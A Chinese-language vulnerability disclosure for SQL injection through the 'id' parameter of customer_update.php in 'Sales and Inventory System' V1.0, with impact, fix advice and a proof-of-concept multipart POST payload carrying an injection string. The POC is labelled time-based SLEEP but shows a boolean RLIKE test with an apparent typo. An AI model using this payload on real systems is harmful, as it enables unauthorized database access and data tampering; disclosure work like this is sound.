关键漏洞信息 受影响产品 Sales and Inventory System 漏洞文件 /pages/customer_update.php 版本 V1.0 漏洞类型 SQL 注入 根因 在 'pages/customer_update.php' 文件中发现了一个SQL注入漏洞。原因是参数 'id' 的用户输入验证不足，直接用于SQL查询中。 影响 攻击者可以利用此SQL注入漏洞实现未经授权的数据库访问、敏感数据泄露、数据篡改、破坏系统控制，甚至导致服务中断，对系统安全和业务连续性构成严重威胁。 描述 在审查 'Sales and Inventory System' 项目时，在 'pages/customer_update.php' 文件中发现了一个关键的SQL注入漏洞。该漏洞源于参数 'id' 的用户输入验证不足，允许攻击者注入恶意SQL查询。因此，攻击者可以在没有授权的情况下访问数据库、修改或删除数据，从而危及系统的安全性并破坏数据完整性。 漏洞详情和POC 易受攻击的参数: 'id' Payload: - 参数: MULTIPART id (custom) POST - 类型: MySQL > 5.0 AND time-based blind (query SLEEP) - Payload: ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="id" T RLIKE (SELECT CASE WHEN (124=124) THEN '1' ELSE Ox28 END)-- kRwB ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="last" Abby ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="first" Kenneth ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="address" Silay City ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk Content-Disposition: form-data; name="contact" 09098 ----WebKitFormBoundaryyCzzuhK2caAQZ7Tk-- 建议修复 1. 使用预处理语句和参数绑定。 2. 输入验证和过滤。 3. 最小化数据库用户权限。 4. 定期进行安全审计。